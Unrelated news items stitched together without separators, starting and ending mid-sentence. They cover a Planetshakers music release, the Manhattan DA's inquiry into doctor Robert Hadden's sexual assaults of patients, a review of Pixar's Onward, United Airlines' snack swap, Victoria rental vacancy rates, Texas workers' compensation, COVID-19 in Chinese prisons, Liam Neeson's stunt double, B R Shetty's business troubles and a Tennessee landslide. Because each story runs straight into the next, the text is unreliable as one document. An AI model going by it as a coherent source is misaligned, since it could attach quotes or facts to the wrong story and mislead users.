ministry and music to raise up a generation of Christ followers with a clear vision of taking the Gospel to the nations... "empowering generations to win generations." About Venture3Media: Venture3Media is a global music label and song publisher with sales, marketing, promotional, radio, television and movie expertise. V3M provides distribution platforms across all digital channels, including but not limited to Spotify, Apple Music, iTunes, Amazon, Deezer, Tencent, 7Digital, Google Music, Facebook, Pandora, Tidal, Sirius and Rhapsody. Physical distribution includes online retailers such as Amazon, national retail chains, sub-distributors and internationally through well-established licensee's and distributors. V3M is excited to build a global ecosystem that serves the vision and heart of Planetshakers. Tags : Planetshakers planetshakers SO GOOD Planetshakers glory part two planetshakers new single Manhattan District Attorney Cyrus Vance has opened a new investigation into a notorious obstetrician who has been accused of sexual assault by more than 70 women, including Andrew Yang's wife, who came forward last month. At least 31 women, joined a lawsuit against Robert Hadden, 61, after Evelyn Yang revealed in January that she was sexually assaulted by the former Columbia University doctor. Yang, who is the wife of the former Democratic presidential candidate, spoke out about the alleged sexual abuse she suffered at the hands of Hadden while she was pregnant with her first child. 'Something about being on the trail and meeting people and seeing the difference that weve been making already has moved me to share my own story about it, about sexual assault,' she told CNN. Yang said she first began seeing Hadden in New York in early 2012. Scroll down for video Manhattan District Attorney Cyrus Vance (pictured) has opened a new investigation into a notorious obstetrician who has been accused of sexual assault by more than 70 women, including Andrew Yang's wife, who came forward last month At least 31 women, joined a lawsuit against Robert Hadden (left), 61, after Evelyn Yang (right) revealed in January that she was sexually assaulted by the former Columbia University doctor As the months went on, Yang said, Hadden began asking her inappropriate questions about her sexual activity and spent more time conducting examinations. When she was seven months pregnant, Yang said, she believed her appointment was done and she was getting ready to leave when the doctor told her abruptly that he thought she might need a cesarean section. She said Hadden pulled her to him and undressed her, then used his fingers to examine her internally. 'I knew it was wrong. I knew I was being assaulted,' she said. But Yang said she 'just kind of froze' and didnt react. 'I remember trying to fix my eyes on a spot on the wall and just trying to avoid seeing his face as he was assaulting me, just waiting for it to be over,' she told CNN. After the doctor left the room, she left the practice and didnt return. Since Yang's interview, 40 more women have come forward with allegations against Hadden, prompting DA Vance to launch a new investigation. In a statement to CBS, the DA's office said: 'District Attorney Vance has assigned incoming Sex Crimes Unit Chief Coleen Balbert and senior prosecutor Mimi Mairs to lead the investigation of any new claims, and our prosecutors are in touch with a representative of a number of survivors.' Andrew Yang said he was 'extraordinarily proud' of his wife Evelyn (pictured together) for telling her story and no one deserves to be treated as she was 'We admire the courage of the survivors who have recently shared their stories. Their voices will be heard and the abuse they suffered will be thoroughly investigated,' the statement reads. The DA's office is also strongly encouraging 'all survivors of Robert Hadden's predatory conduct to call us at 212-335-9373'. Hadden stood accused in a sex-abuse case involving six patients back in 2016 but reached a deal, pleading guilty to two counts of criminal sexual act in the third degree and forcible touching. He was struck off the medical register but did not serve any time behind bars. He also received no probation or community service. Though the district attorney's office will be investigating the new claims, many of the women who have come forward to accuse the disgraced doctor have also slammed the Manhattan District Attorney's office for failing to come down heavier on the sex offender. Attorney Anthony DiPietro, who filed a civil suit against Hadden and Columbia University in 2018, said he will add the latest victims to the civil suit, bringing the total number of plaintiffs to about 70. Two of the victims were children, aged 15 and 16, at the time of the alleged abuse, he said. One of his accusers, Emilia Heckman, a fashion model in her late 20s at the time, told CNN that Hadden had shown her pictures of his family and made her feel 'comfortable' with him when she was his patient. He soon began making inappropriate questions or comments, such as asking her about her sex life and saying her boyfriend 'is so lucky to have you', said Heckman, now 36. Hadden then sexually assaulted her during an appointment in 2012, she said. Heckman said Hadden told the nurse to go home, leaving her alone with her alleged abuser. Hadden (pictured outside his home) stood accused in a sex-abuse case involving six patients back in 2016 but reached a deal, pleading guilty to two counts of criminal sexual act in the third degree and forcible touching. He lost his medical licence but served no prison time One of Hadden's accusers, Emilia Heckman said he asked inappropriate questions and comments, such as asking her about her sex life and saying her boyfriend 'is so lucky to have you' Heckman said she quickly fled Hadden's practice after he allegedly assaulted her, and she never returned Hadden allegedly licked Heckman's genitals, while she had her feet in stirrups and her legs draped for a medical exam. 'At first it was gloves on, and all of that,' Heckman said. 'And then it transitioned to no gloves, a tongue and a beard. ... And I recoiled.' Heckman said she quickly fled and never returned. Another accuser, Jessica Chambers, now a substitute elementary-school teacher in Wyoming, said she was a 23-year-old student at the City College of New York and had never had a gynecological exam before when she was assaulted by Hadden in 2004. She said he had started off 'friendly' but made her feel uncomfortable as the exam went on for a long time, during which a chaperone was present. 'He had his fingers inside of me -- I couldn't see if he was wearing gloves,' she said. 'And he had an extended conversation with me while he had his fingers inside of me. ... I remember wanting to get out of that position.' Chambers said they talked about how she'd just broken up with her boyfriend and Hadden had asked her if she was able to climax and how. 'I'm thinking it's very weird. But he's a doctor, we're in Columbia -- clearly what's going on here must be normal and natural,' she told CNN. When the chaperone left the room, Hadden grabbed her leg and then began touching her vagina with ungloved hands while telling her how arousal happens. 'He had me somewhat stuck,' she said. 'I didn't know whether it was just me being naive and I didn't want to do anything that would be weird.' Chambers said she came forward after she read about the sexual assault Yang suffered and recognized her abuser as her own. Yang said she was initially too afraid to tell anyone what had happened. She said she blamed herself, thinking she must have done something to 'invite this kind of behavior'. Months later, after the couple's son was born, Yang (pictured with her husband in November) got a letter in the mail saying Hadden had left the practice. Curious, she looked him up online and saw that another woman had made a police report accusing him of assaulting her Another of his accusers, Marissa Hoechstetter was instrumental in having a New York law put in place that allows parents to have the name of a doctor removed from a child's birth certificate if they lose their medical license Hoechstetter (pictured with NYC council speaker Corey Johnson) called for Manhattan DA Cyrus Vance to resign for 'failing to protect victims of sexual assault' after Hadden reached a plea deal for sexual assault charges in 2016 Months later, after the couple's son was born, Yang got a letter in the mail saying Hadden had left the practice. Curious, she looked him up online and saw that another woman had made a police report accusing him of assaulting her. She said she realized then that she wasn't to blame for his actions. 'This was a serial predator, and he just picked me as his prey,' she said. She said only then was she able to reveal the alleged abuse to her husband. Andrew Yang said he was 'extraordinarily proud' of his wife and no one deserves to be treated as she was. 'When victims of abuse come forward, they deserve our belief, support, and protection,' Andrew Yang said. 'I hope that Evelyn's story gives strength to those who have suffered and sends a clear message that our institutions must do more to protect and respond to women.' He later tweeted: 'I love my wife very very much.' Many of the women have come forward have told DiPietro that they feel let down by the justice system's previous handling of allegations against Hadden. 'He got something that sounds [more] like an orchestrated retirement than an actual sentence for a serial sexual predator,' DiPietro said. In the lawsuit that Yang and 31 other women have against Columbia University, its affiliates and Hadden, they allege that they 'actively concealed, conspired, and enabled' the doctor's crimes, according to CNN. The lawsuit also claims that medical assistants who worked with the doctor knew of the abuse but didn't intervene because of a power imbalance and lack of training. Columbia University and the hospital system are fighting the lawsuit on procedural grounds. A university spokeswoman told CNN in response to a detailed list of questions that the accusations are 'abhorrent' and they 'deeply apologize to those whose trust was violated'. Vance has come under fire for failing to protect victims of sexual assault. Protesters took to the streets of New York in January calling for his resignation, saying Hadden's plea deal was one in a long list of wealthy, white men getting away with sexual assault. Vance said in a statement to CNN: 'Because a conviction is never a guaranteed outcome in a criminal trial, our primary concern was holding him accountable and making sure he could never do this again - which is why we insisted on a felony conviction and permanent surrender of his medical license.' Hadden has denied the assault allegations in court documents, aside from the two counts in his plea deal. Onward Photo: Pixar The new Pixar film Onward situates itself in a bland, mundane world thats lost touch with the magic and mythology of the past. Literally. The characters who inhabit this universe were elves and wizards and centaurs and fawns and manticores once, and now theyre middle managers and security guards and waitresses, their powers withered through eons of disuse and the conveniences of technology. (Who needs to breathe fire when stoves exist? Who needs to gallop on four legs if they have a car?) But while the concept might be literal, the metaphor remains vague: You can see in this worlds disconnect with a glorious past whatever your personal philosophy and politics permit. Heres a Pixar movie that even the Make America Great Again crowd can embrace. Unfortunately, Onward feels like an intensely personal project that has been flattened and diluted into corporate obsequiousness. Amid its easy-to-please desperation, you can still sense the ideas that animated director Dan Scanlon (Monsters University) and even occasionally be moved by them. But its all somehow too much and not enough: This is a busy, but impoverished movie. By the time the Pixar-branded tears and their empty emotional calories come, you might find yourself both exhausted and wondering what the point of the whole thing was. Our hero Ian (voiced by Tom Holland) is a shy teen elf who never got to meet his father, who died of a terminal illness many years ago. His oversize, blustery older brother Barley (a charmingly gabby Chris Pratt) only has a few memories of the old man, and seems to have checked out altogether: He spends all day immersed in a fantasy role-playing game, and wont shut up about how all this stuff was real once upon a time. One day, mom gives the two brothers a gift that dad left behind for them to receive when they grew up. It turns out to be a magic staff that, when paired with the right spell and the right Phoenix gem, will bring dad back to life for one whole day. But the staffs power is too great for them and the gem dissolves before the conjuring is complete, so theyre left with a sentient pair of legs belonging to dear old dad. So, together, the two brothers and their half-dad embark on a quest to find another Phoenix gem (thats right, its another movie with a magic stone, joining the likes of Avengers, Parasite, and Uncut Gems) so they can have their long hoped-for reunion. And of course, that requires uncovering remnants of the magical world thats been buried beneath their current reality of suburban sprawl and postcapitalist blandness, and reconnecting with their own capacity for magic and revelation. Thats a pretty good idea, actually, and one wonders what the live-action myth-makers of the early blockbuster era might have done with this setup: the John Boormans and Terry Gilliams and Neil Jordans of yore, and yes, maybe even the Spielbergs and Zemeckises, who, in their best work, understand our very human need for transcendence and fantasy. (And the notion of reuniting with a long-forgotten parent for one final day is actually at the heart of the shattering climax of Spielbergs A.I. Artificial Intelligence.) Still, give Pixar credit. Onward is filled with witty, captivating designs that bring together the mundane and the otherworldly: suburban McMansions built out of giant mushrooms, gleaming office buildings shaped vaguely like medieval castles, and the climactic coup de grace, a giant dragon built out of smoke and concrete rubble. But the whole thing feels so preordained, so tiresome at the level of incident and character. Pratt does what he can with his slightly too-large-for-the-room energy, but Barley and Ian arent interesting enough to carry this story, or to make us care in any compelling way. Dad, who says nothing and only communicates blindly via his shoes, feels more real than either of the two kids who are the ostensible heroes of this story. This is a tricky concept for our times: In a world where we hadnt had fantasy epics and heros journey cliches rammed down our cinematic gullets for the past 20 or so years, Onward might have felt fresher, its sentimentality tempered by an offbeat obsession with magic and chivalry and myth. But as it currently stands, this film feels like a pile of prefab story ideas occasionally enlivened by brief flashes of earnestness and invention. Complimentary snacks may not seem like theyd be a dealbreaker when choosing an airline, but United Airlines recent decision to swap Biscoff cookies for Oreo Thins has customers outraged. Last week, the airline revealed that it would be serving Oreo cookies on all United and United Express flights as the on-board snack. Our complimentary snack options continue to be a hit and were always looking for opportunities to introduce new selections, Andrea Hiller, the spokesperson for United Airlines told USA Today. We plan to add Oreo Thins into the mix soon and look forward to the response from our customers. However, on social media, the reaction was not a positive one - as the decision was immediately met with backlash from people angry at the swap. This is insane! one person tweeted. Leg room is a convenience, but Biscoffs are a necessity. This is unacceptable. The worst ever inflight meals Show all 8 1 /8 The worst ever inflight meals The worst ever inflight meals Cockroach curry A cockroach was found in an Air India breakfast meal. Twitter/Manoj Khandekar The worst ever inflight meals Apples and pears Avianca's idea of a vegetarian meal was an apple and a pear on board one flight. Twitter/Steve Hogarty The worst ever inflight meals Chicken sandwich Emirates served this disappointing Cajun chicken and cheese sandwich on a flight to Dubai Paul Carlin The worst ever inflight meals Gluten-free banana Martin Pavelka was handed this banana, complete with "gluten-free" label, as his inflight meal on an ANA service from Tokyo to Sydney. Martin Pavelka/Evening Standard The worst ever inflight meals Mushroom sandwich Oman Air's finest: presenting something approximating a mushroom sandwich on a flight to Heathrow. Nick Boulos The worst ever inflight meals Raw vegetables Aegean Airways served up some raw pepper and carrot sticks as its veggie option on one flight. musterknabe The worst ever inflight meals More cockroaches An Air India passenger wasn't impressed when she found this in the business class lounge. Twitter/Harinder Baweja The worst ever inflight meals Leftovers Not everyone turns their nose up at plane food - this Urumqi flight attendant was suspended after a video of her eating leftovers went viral. Viral Press Another said: United. Cut the malarkey. Do not play yourself. Those cookies are the best. Nobody wants Oreos. I dont care what the marketing or the food department says. The Biscoff cookie was the best part of the flight why why take away the one thing that makes a flying sardine can tolerable? someone else asked. Why dont you just give away dirt. In response to one of the complaints, the airlines official Twitter account replied: Hi there. We periodically make updates to our snack offerings to provide our customers with new and different options. Were going to miss the Biscoff cookies too, but were excited to bring Oreos on board. The change is expected to roll out in March, at which point economy class fliers will be offered complementary Oreo Thins, Stroopwafels and pretzels. Fortunately, the airline says the change hasnt been made permanent - yet. The point is to give people options, Hiller told Today. The stroopwafel is beloved by all, but the Biscoff cookies can be rotated back in. Hiller later told The Independent Biscoff cookies will be back on board in May. This is not the first time United Airlines has sparked backlash with its decision to remove a snack from flights. In 2018, the airline caused outrage when it removed Stroopwafels - only to bring them back six months later. As of now, Delta and Alaska Airlines still offer Biscoff cookies on flights. Victoria's rental market remained tight in January, with metro and regional areas both recording low vacancy rates, according to the latest market update from the Real Estate Institute of Victoria (REIV). Over the month, vacancy rates remained stable at 2.2% for metro and 1.7% for regional areas. Vacancy rates in Victoria have been under 2% since March 2016. REIV President Leah Calnan said the current state of Victoria's rental market indicates an urgent need for more rental properties. "Healthy vacancy rates are usually around the 3% to 4% mark. Having vacancy rates as low as 1.7% or 2% is not sustainable," Calnan said. "There is a strong demand for more rental properties, and sadly many families are still struggling to get a rental home." The median rent for Melbourne houses remained at $480 per week. Regional centres, on the other hand, witnessed a slight dip in median weekly rents to $350. Also read: Victoria faces threat of supply crunch Calnan said the concerns about the changes to the state's tenancy laws could be affecting the sentiments of landlords and property investors. New rules are set to be implemented in Victoria this year. Under the changes, tenants will be allowed to make minor changes to the property without the consent of the landlords. The new laws will also prohibit landlords from evicting their tenants without cause at the end of a fixed-term agreement. "Many landlords remain confused about the upcoming changes to the rental laws in introduced by the Victorian government, with many being apprehensive about how the new regulations will impact them. The government needs to work more closely with landlords and the real estate sector to ensure more homes are available to rent," Calnan said. The tables below show the vacancy rates across Victoria: Vacancy rates in Melbourne remained tight in January 2020 at 2.2%. Regional areas in Victoria maintained an average vacancy rate of 1.7% in January 2020. As soon as she wakes up, the pain is back. Pain when she stands up to go to the shower. Pain when she puts on a bra. Pain when she sits down to eat breakfast. After more than two years of living like this, Stephanie Albers, a Houston flight attendant injured when she fell during severe turbulence, is unable to work, again, struggling with depression and fighting for proper medical care. Her problem: the treatment for her on-the-job injury which resulted in chronic pain in her left shoulder and neck and numbness in her left extremities is covered by workers compensation. In Texas, where workers compensation is optional and 28 percent of employers don't even cover their workers, injured employees who file claims through the system enter an endless maze of denials and appeals that blocks their treatment, recovery and return to work. For many, the process is so exhausting that they rue ever filing a workers compensation claim. Thirty years of legislative changes and judicial rulings have left a workers compensation system that makes finding a doctor difficult and fighting against insurance companies effectively impossible. The frustrations have become so great, advocates say, that workers are simply not reporting workplace injuries, relying instead on health insurance. Workers compensation claims fell 12 percent between 2010 and 2018, which a state report attributed in part to under-reporting of injuries. Albers doctor-prescribed treatments were routinely denied by the third-party insurance administrator, trapping her in a cycle of denial, appeal and delayed treatment. Hardly better off than when she was first injured in 2017, Albers now worries the nerve damage from her injuries could be permanent. My husband has fought for me, but without him, I probably would have just given up, she said. Thats what they want you to do they want you to give up and go away. The Texas Department of Insurance, the state agency that manages the Workers Compensation Division, said in a statement that it provides resources to help injured employees navigate the system and has an administrative process to resolve disputes over denials for medical services. An injured employee always has the right to dispute an issue with their claim, said Kate Sidora, spokesperson for the TDI. DWC is a resource to help injured employees through the claims process and will investigate to make sure all claims are processed correctly and according to state law. But experts say the dispute resolution process is hopelessly stacked against workers, leaving them with only one real option: Dont get hurt at work. Few doctors, fewer treatments Workers compensation, an insurance program managed by the state, is intended as a social contract that provides injured employees with medical care for injuries and illnesses suffered at work and protects employers from personal injury lawsuits by workers. But in Texas, the Legislature and courts have made it increasingly difficult for employees to press their right to care under the state workers compensation system. In the 1990s, the Legislature passed laws to severely limit fees for attorneys representing injured workers, leaving little incentive for lawyers to take workers compensation cases. The number of available doctors to treat workers compensation patients dwindled, too, following legislative overhauls in the early 2000s. In the last decade, the Texas Supreme Court further blocked workers ability to sue insurers for unfairly denying their claims. That leaves little recourse for people like Stephanie Albers, 54. A flight attendant for a small private air carrier, she was injured when sudden and violent turbulence threw her into the air and back to the floor like a rag doll, damaging nerves in her neck. If an injured workers company opts into the insurers local network, which is certified by the state, the worker is required to seek treatment within that network. If the company did not opt in, but has workers compensation coverage, the worker must find a health care provider willing to take workers compensation. On HoustonChronicle.com: Kevin Leago, Houston firefighter who fought city for benefits, succumbs to cancer Doctors are barred by law from billing injured employees directly and must accept what the insurer will pay. Only 35 percent of licensed physicians in the state treated injured workers covered by workers compensation in 2018, down from 50 percent in 2005, according to the Texas Department of Insurance. In Houston, 31 percent of physicians treated a workers compensation patient, the lowest proportion of Texas metro areas. TDI attributes the falling share of physicians who treat injured workers to the growth of licensed doctors at the same time claims are declining proof, they say, that access to care for injured workers has improved. But Adam Bruggeman, an orthopedic surgeon in San Antonio who has accepted workers compensation patients since 2013, said the paperwork, technical requirements and pre-authorization protocols required for workers compensation are much more burdensome than a typical patient, discouraging many doctors from taking patients covered by workers compensation. Insurers will deny your surgery for technical reasons, he said. If you dont use the exact terms that the insurance company uses, then you stand to not get paid. Thats very frustrating. Its frustrating for patients, too. By law, once you enter the workers compensation system, you can never leave. All treatments related to the injury must go through workers comp, which blocks workers from using health insurance or personal resources to obtain medical services. You cant even help yourself, Albers said. The first physician Albers saw gave her steroid shots, but a few months later, she was in more pain. She saw a second doctor who obtained approval for surgery to repair a torn rotator cuff in her shoulder, completed in March 2018, seven months after her injury. The pain, however, returned a few months later. On HoustonChronicle.com: Texas small businesses dropped workers' comp in 2018, study shows Her doctor requested a second surgery to release a compressed nerve. But that procedure was denied by the claims administrator, Gallagher Bassett Services, as were subsequent requests for physical therapy, pain management prescriptions and an MRI, according to Albers claims records. The wrongful denials, subsequent appeals and long waits for approval regularly delayed treatments by weeks. Shes in pain every single day, and theyre dragging their feet, doing this dog and pony show, all this administrative stuff, said Dwight Albers. In the meantime, shes not getting any better. Gallagher Bassett said it does not comment on claims that are in administration, litigation or the process of resolution. Stephanie Albers describes the pain as a toothache in her shoulder with a bowling ball on top of it. Finally, more than a year after her injury and following her eventually approved second surgery, she returned to work in the fall of 2018. Benefits run dry In September 2019, Albers pain began to increase again, despite a pain management program that included new prescriptions and heating pads. Then, she noticed her left extremities going numb. In December, she dropped a bowl on a passenger because she didnt feel it falling out of her hand. She wondered, Am I on the way to being paralyzed? In January, when the pain forced her to leave work again, she could not receive any compensation for missing more work. A few months earlier, the state had required her to attend a maximum medical improvement exam performed by a designated doctor. That doctor, a chiropractor, evaluated her as 3 percent impaired, a rating used to calculate how much more the state needs to compensate a patient for lost wages due to the injury. Based on that rating, the state paid Albers about $3,800, equivalent to about two weeks of her salary, and ended those benefits. Albers is appealing the exam, claiming the chiropractor who evaluated her wasnt qualified to assess nerve damage. More than 80 percent of the designated doctors available in Harris County are chiropractors, according to state records. No defense The Albers sought lawyers to help them. None would. Thats because in 2012, the Supreme Court of Texas ruled that insurance carriers are immune from lawsuits in workers compensation, which has its own dispute resolution process. Once workers enter the system, the court ruled, their only recourse to challenge an insurer is the dispute resolution process. (Albers first step in the process, a benefit review conference, is scheduled for March 3). Before the landmark decision, workers could sue insurance companies when they believed erroneous denials of treatment resulted in further harm. They took that right away from the worker, and I think today what (insurance companies) are doing is fraud and illegal, said Sue Stinson, a flight attendant who was injured in 2003 and obtained a settlement after suing an insurance company. They know you cant touch them. Even before the Supreme Courts decision, legal help for injured workers was difficult to find. Texas law caps attorneys fees in workers comp cases at 25 percent of an injured workers weekly benefits. As a result, hardly any lawyers take on these cases. To send an injured worker through that process completely unrepresented, when the insurance companies have legions of attorneys and lobbyists to make sure their interests are protected, skewed the system pretty dramatically away from the needs of the injured workers, said Rick Leavy, the president of the Texas AFL-CIO. Thats not an accident. Workers compensation claims to fell to 88,000 in 2018 from 99,000 in 2010, a decline advocates attribute to employees covering up workplace injuries and filing claims through health insurance. The Texas Division of Insurance says increased safety awareness and technology improvements, in addition to possible under-reporting, are responsible for the decline. In December, Albers doctor requested approval for injections of an anesthetic and steroid in the hope it would provide relief. That request was denied because the administrator claimed sedation for the procedure was not medically necessary. But Albers doctor refused to do it without sedation, worried she would move and the anesthetic would hit her spinal cord, resulting in paralysis. Once again, treatment was approved on appeal, but not without more paperwork and delays in care. This has taken my life away, and its not fair, Albers said. When someone is hurt, and they need medical attention, they should get it. Its an insult. erin.douglas@chron.com Twitter.com/erinmdouglas23 More than 400 cases of the new coronavirus have been detected in prisons across China, officials said Friday, fuelling concerns about new clusters of the epidemic. Seven guards and 200 inmates tested positive for the virus at Rencheng prison in eastern Shandong province, the provincial health commission said at a press conference. Xie Weijun, head of Shandong's justice department, was sacked over the outbreak along with two other provincial prison administration officials and five officials from the penitentiary, officials said. Wu Lei, director of Shandong's prison administration, said the new cases showed that "the implementation of our prevention and control measures has not been effective". Another 34 cases were found at Shilifeng prison in eastern Zhejiang province, leading to the ouster of its director and another official. Hubei, the hard-hit central province where the virus emerged late last year, said Friday that 271 cases were reported by its prisons on Thursday, including 220 that had previously not been known to provincial authorities. Hubei announced earlier on Friday that a total of 411 new cases of the virus were confirmed in the province on Thursday, but later revised its figure up to 631 to include the prison numbers. The clusters came as Chinese authorities have pointed to a drop in officially reported new cases this week as evidence that quarantines and other drastic measures to contain the virus are working. Most of China remains paralysed over fears of contagion, with people slowly trickling back to work, schools remaining closed, and Beijing ordering returnees to self-quarantine for 14 days. New cases at two hospitals in the country's capital have also emerged. Health officials said 36 patients, medical workers and family members have been infected with the virus at Beijing's Fuxing hospital, which has been partially sealed off since January 31. An elderly woman receiving kidney treatment at Peking University People's Hospital also tested positive after two infected relatives visited her earlier this month, the hospital said. People who came into close contact with those infected at both hospitals are being monitored, while 12 women and 10 infants from the obstetrics ward have been ordered to leave Peking University People's Hospital for their own safety, authorities said. Members of China's Uighur minority living in exile have also warned of the risk of the coronavirus spreading in internment camps, where rights groups say more than one million people have been rounded up by authorities. The virus spreads through droplets disseminated by sneezing or coughing, highlighting the risks for large groups of confined people, possibly without adequate access to soap and water. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) That was not Liam Neeson's behind viewers saw in A Million Ways to Die. The Ordinary Love actor, appearing on Thursday's Watch What Happens Live with Andy Cohen, said that he didn't like the way his rear end looked on camera, and turned to longtime friend for help in the 2014 Seth MacFarlane comedy. 'Mark Vanselow is my stunt coordinator, we're working on our 25th film together,' the Irish film star said. 'When we were doing that movie, I hate my Irish butt, OK?' The latest: Liam Neeson, appearing on Thursday's Watch What Happens Live with Andy Cohen, said that he didn't like the way his rear end looked on camera in A Million Ways to Die, and turned to longtime friend for help The Academy Award-nominated Schindler's List actor went to his veteran stuntman because he didn't want to be in a scene where his character Clinch had a flower placed in his behind by Charlize Theron's Anna character. 'I said to Mark, "As a sign of our friendship, would you ever do this scene where Charlize Thereon puts a daisy in your butt?" And he said, "Sure,"' Neeson said. 'I gave him a big hug afterwards, I said there's no f***ing way anyone's going to see my Irish butt.' Host Andy Cohen replied, 'I'm gonna resist the opportunity to say what I wanna say,' to laughs from the crowd. Neeson, whose been seen in recent years in films like Men in Black: International, Widows and Cold Pursuit, was asked how he liked seeing the stuntman's role on the screen with Brad Pitt's Oscar-winning turn in Once Upon a Time in Hollywood. Big ask: The actor said he asked his stuntman, 'As a sign of our friendship, would you ever do this scene where Charlize Thereon puts a daisy in your butt?' Back and forth: Host Andy Cohen welcomed the actor onto his Bravo chat series 'I liked it very very much and I'm not a huge Tarantino fan - it was clever,' said the actor, who's past collaborated with filmmakers such as Steven Spielberg, Christopher Nolan and Martin Scorsese. Theron was asked about the scene in a June 2014 interview, according to the Belfast Telegraph. She recalled, 'I said what any healthy woman would say: "I get to see Liam Neeson's butt!" That's what happened, I can think of so many worse jobs." Stalwart: Neeson has been seen in recent years in films like Men in Black: International, Widows and Cold Pursuit NRI business icon B R Shetty set to lose control over his business Bavaguthu Raghuram Shetty, the UAE-based Indian businessman who helped found companies, including hospital operator NMC Health Plc and financial services firm Finablr Plc, saw his stakes in the firms plummet after over-leveraging on these assets. On Sunday, Shetty resigned as chairman of NMC Healthcare after it was revealed that his stakes in the public companies spanning education, hospitality and one of the worlds oldest tea companies, were only a fraction of the $2.4bn fortune that he was seen to be sitting upon. The revelations came after Carson Blocks investment firm, Muddy Waters, issued a report criticising NMCs accounts and disclosing a short position. Further scrutiny by Muddy Waters helped shed light on his complex share arrangements that cast doubts about Shettys net worth. It is now alleged that Shettys holdings in Finablr and NMC are not worth $885m, but may now be just a fraction of that, depending on the size of his borrowings. Shetty had pledged a quarter of his NMC stake against loans with First Abu Dhabi Bank and Zurich-based Falcon Private Bank, even as two other shareholders are seen owning half of his reported stake. Another lender Al Salam Bank Bahrain has already sold some of those shares to enforce security over a loan for Shetty, and First Abu Dhabi Bank sold another chunk earlier this month, according to NMC. A spokesman of Shetty said the India-born businessman had engaged law firm Herbert Smith Freehills to conduct a review of his holdings, but declined to comment further until the analysis is completed. Muddy Waters, in its 17 December report on NMC, had hinted at potential overpayment for assets, inflated cash balances and understated debt. Shares of the UAEs biggest private health-care provider have since plunged 67 per cent, and the firm is now the focus of takeover speculation. The sell-off also spread to Finablr, whose stock has tumbled 64 per cent. NMC has disputed Muddy Waterss claims, and the company hired former FBI director Louis Freeh to conduct an independent review of the short sellers allegations. Meanwhile, local regulators are making inquiries with the relevant parties, a spokesperson for the UKs Financial Conduct Authority said. Shetty and his advisers are investigating details of the sales as part of their legal review, according to filings. Shetty also pledged another batch of NMC stock in 2018 as part of a so-called equity collar arrangement with Goldman Sachs Group Inc that uses options to limit the impact from share moves. Last month, he also pledged most of his stake in Finablr to refinance a loan from the companys takeover of foreign-exchange firm Travelex for about $1.2bn. BRS Ventures Investment, the UAE-based holding company for most of Shettys assets, doesnt report consolidated financials, which prevents a complete analysis of his net worth. His other assets include a catering company, a waste-management firm and pharmaceutical business Neopharma, which four months ago was in the early stages of planning for an initial public offering. Shetty founded NMC in 1975 after moving to Abu Dhabi from his native India. He created Finablr two years ago to consolidate his financial brands before listing it on the London Stock Exchange in 2019. Uttar Pradesh Chief Minister Yogi Adityanath on Friday held a 'Janta Darbar' here to address the grievances of the people. Many people submitted their applications to Adityanath and urged him to take requisite steps to resolve their issues. "I met the Chief Minister and informed him about the encroachment of land by a few people in our village. The Chief Minister has assured that he will look into the matter," said one person. A woman visited the 'Janta Darbar' seeking justice in the case of her daughter's death. "My daughter got married in Deoria and she was murdered there over dowry issue. We have registered FIR also, but till no arrests have been made. I hope the Chief Minister will take immediate action." An Indian Army jawan, named Satyawan Singh, also turned up at the darbar with a case of theft he wanted to look into. The chief minister has held several such darbars in the past. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Advertisement New drone footage shows the devastating aftermath of a landslide that wiped out two homes in Tennessee just below the Pickwick Dam on Saturday as the area dealt with intense flooding and rainfall. Hardin County Fire Chief and Emergency Management Director Melvin Martin said the landslide claimed not only two houses, whose residents got out safely, but also about 100 yards (91 meters) of the blufftop road in the Savannah, Tennessee, area. Meanwhile, most of the 75 homes down by the river that were flooded are vacation homes that were built on stilts, Martin said. The Hardin County Fire Department shared on Facebook that the landslide occurred off Glendale Road, providing photos and drone footage of the carnage. They acknowledged that people would want to come and take the 'perfect shot' of the are but stressed that the road was 'permanently closed.' Scroll down for video Hardin County Fire Chief and Emergency Management Director Melvin Martin said the landslide claimed not only two houses, whose residents got out safely, but also about 100 yards (91 meters) of the blufftop road in the Savannah, Tennessee, area The Hardin County Fire Department shared on Facebook that the landslide occurred off Glendale Road, providing photos and drone footage of the carnage They added that one of the homes was vacant at the time it collapsed, while occupants of a second home left before it eventually was destroyed. Boat captain Sam Evans, who lives in a historic riverboat on Pickwick Lake, says this year's flooding is among the worst he's seen. Navigating the Tennessee River by boat, he's watched the banks gradually erode, and said it was only a matter of time before the bluff gave way. 'It has slowly been eroding and it finally let go,' Evans told The Associated Press on Tuesday. The area suffered a devastating flood in 2003, but then about 14 years passed without a catastrophe, and developers got busy selling riverfront properties, Evans said. He thinks the buyers weren't fully aware of the danger. Meanwhile, most of the 75 homes down by the river that were flooded are vacation homes that were built on stilts, Martin said Authorities said that one of the homes was vacant at the time it collapsed, while occupants of a second home left before it eventually was destroyed The road was permanently closed as authorities advised for people to steer clear 'Out-of-towners came in that didn't do their homework,' he said. 'Here comes a flood and it wipes them out ... Buyer-beware when you buy below the dam. ' Things changed about three years ago, he said. 'We've had three floods in the last three years, about the same time every year,' Evans said. Darrell Guinn, a manager at the TVA River Forecast Center, said Tuesday that the river system is now at level where it can absorb more rain without further impacting flooded areas. Sprawling fields turned into large lakes throughout West Tennessee, including in the small town of Halls, where a cold rain fell steadily Tuesday. A Tennessee Department of Transportation crew worked to close state Highway 88 outside Halls, as water began moving over the road that connects U.S. Highway 51 and the Mississippi River. Darrell Guinn, a manager at the TVA River Forecast Center, said Tuesday that the river system is now at level where it can absorb more rain without further impacting flooded areas The US National Weather Service for Memphis, Tennessee, reports that snow will mix into the rain to bring about wintry precipitation along the north of I-40 According to the National Weather Service's Weather Prediction Center, the Southeast is expecting rainfall in areas that have already been impacted by flooding. The US National Weather Service for Memphis, Tennessee, reports that snow will mix into the rain to bring about wintry precipitation along the north of I-40. Footage showed the shocking moment both homes were swept downstream during the landslide on Saturday. Sparks crackled and lit up the night sky as one of the homes tore free from its wiring and toppled over the edge of the precipice in harrowing video footage of the slide. Firefighters were called to Glendale Road around 5.15pm following reports of the landslide. On Saturday two homes located on a cliff in Hardin County, Tennessee were swept into water in a dangerous landslide. No one was harmed in the slide as homeowners managed to evacuate when the imminent risk became clear This image released by the Hardin County Fire Department in Savannah, Tennessee shows a devastating landslide that swept a home into the river on Saturday. The vacant home on the left is a home that collapsed about an hour later after this photo was taken around 5.30pm. The home on the right has been evacuated and is in extreme danger of collapse The cascade was caused by the dangerously high level of water in the river after rain had bucketed down on Tennessee for days. Nighttime footage of the landslide shows anxious observers shining torches on the large house, waiting for the inevitable moment it is washed down towards the river. Slowly, it begins to creak and the sound of snapping grows louder before 